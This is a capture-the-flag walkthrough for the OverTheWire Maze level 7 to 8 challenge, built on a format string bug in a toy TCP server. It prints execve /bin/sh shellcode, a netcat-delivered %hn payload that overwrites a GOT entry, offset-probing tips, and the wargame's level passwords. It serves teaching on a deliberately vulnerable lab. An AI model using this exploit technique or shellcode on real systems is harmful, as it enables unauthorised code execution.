OverTheWire Maze Level 7 → 8 tutorial!!
Login
Use the maze7 account from the previous level.
ssh maze7@maze.labs.overthewire.org -p <PORT>
# password: pohninieng
Binary for this challenge:
/maze/maze8
(simple TCP server; default port 1337, or pass a custom port as argv[1]).
Task
Exploit a format string vulnerability in the network handler to hijack control flow and execute shellcode, then read /etc/maze_pass/maze8
.
A little bit of Theory
The program is a tiny TCP daemon:
-
Binds to
0.0.0.0:1337
(or the port you supply),listen()
s,accept()
s, then asks:"Give the correct password to proceed: "
- It compares your input with the hardcoded string
"god"
. -
If the answer is wrong, it builds a response like:
snprintf(replybuf, 512, buf); strcat(replybuf, " is wrong ^_^\n");
Bug:
buf
(your input) is used as the format string. That’s classic format string vuln → arbitrary memory reads/writes via%x
,%n
,%hn
, …
Strategy:
- Overwrite a GOT/PLT entry to redirect execution into our env shellcode.
- A convenient target is
strlen@plt
(stub jumps through GOT). Its PLT stub does:jmp [GOT(strlen)]
. If we overwriteGOT(strlen)
with an address inside our shellcode (e.g. env$SC
), anystrlen()
call transfers control to us.
We’ll do a two-half %hn
write:
- Let
GOT(strlen) = 0x08049d34
. We write the low 2 bytes and high 2 bytes separately to0x08049d34
and0x08049d36
. -
Choose shellcode address
0xffffdf0c
(common env offset here; adjust if needed).- Low half (LOB) =
0xdf0c
(decimal 57100, but we must account for already printed bytes) - High half (HOB) =
0xffff
- Low half (LOB) =
Because the PLT stub pushes 4 bytes etc., we must craft the padding precisely. We’ll put the two addresses first in our payload, then use %hn
with the right field widths to paint each half.
Walkthrough
1) Put shellcode in the environment
export SC=$(python - <<'PY'
print("\x90"*100 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68" +
"\x68\x2f\x62\x69\x6e" +
"\x89\xe3\x89\xc1\x89\xc2" +
"\xb0\x0b\xcd\x80" +
"\x31\xc0\x40\xcd\x80")
PY
)
This gives us a NOP sled + /bin//sh
execve shellcode. A typical landing address in these levels is around 0xffffdf0c
—confirm in gdb
if needed with x/s getenv("SC")
.
2) Run the server
In one terminal:
/maze/maze8 # listens on 1337 by default
# or: /maze/maze8 1337
3) Build the format-string payload
We’ll place the two GOT addresses first, then format ops:
0x08049d34
(GOT(strlen) low half)0x08049d36
(GOT(strlen) high half)
The stack offset for our first address is 1
on this target (you can verify by sending AAAA %x %x ...
and spotting where 41414141
shows up).
We need to print exactly:
LOB
bytes before the first%hn
- Then
HOB - LOB
more bytes before the second%hn
Accounting for the 8 bytes already “printed” by placing two 4-byte addresses at the start of the payload, one workable payload is:
python - <<'PY' | nc 127.0.0.1 1337
import sys
payload = "\x34\x9d\x04\x08" # &GOT(strlen)
payload += "\x36\x9d\x04\x08" # &GOT(strlen)+2
payload += "%57092x%1$hn%8435x%2$hn"
sys.stdout.write(payload)
PY
Why those widths?
- We target
0xffffdf0c
. -
First write (
%1$hn
) should set low half to0xdf0c
:0xdf0c
= 57100; we already “printed” 8 bytes (two addresses), so we print 57100 - 8 = 57092 chars before%1$hn
.
-
Second write (
%2$hn
) should set high half to0xffff
:- We’re at 57100 now; to reach 65535, print 65535 - 57100 = 8435 more chars, then
%2$hn
.
- We’re at 57100 now; to reach 65535, print 65535 - 57100 = 8435 more chars, then
When the daemon later calls strlen()
, control jumps to our env and the shellcode runs.
4) Pop the shell & read the password
If the overwrite lands correctly, you’ll get a shell as user maze8. Then:
id
cat /etc/maze_pass/maze8
In my run, the password was:
jopieyahng
Why this works (tl;dr)
- Using your input as the format string makes
snprintf()
interpret%
directives you control. %hn
writes the number of characters printed so far into the address you select.- Two
%hn
writes paint the GOT(strlen) pointer with your shellcode address (low then high half). - Next call to
strlen()
jumps into$SC
→ /bin/sh.
Troubleshooting quick tips
- Wrong stack offset?
Send
AAAA %x %x %x ...
to the server; count until you see41414141
. Use that index as the$N
in%N$hn
. - Shellcode address off by a bit?
Use
gdb
andx/ s getenv("SC")
to get the exact address (pick somewhere in the NOP sled) and recompute the two field widths. - Server dies immediately? Make sure you’re connecting while it’s listening, and that your payload goes via netcat (no newline mangling).
- ASLR pain? The env address is fairly stable on this box for these levels; if it shifts, re-measure and adjust the two widths.
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨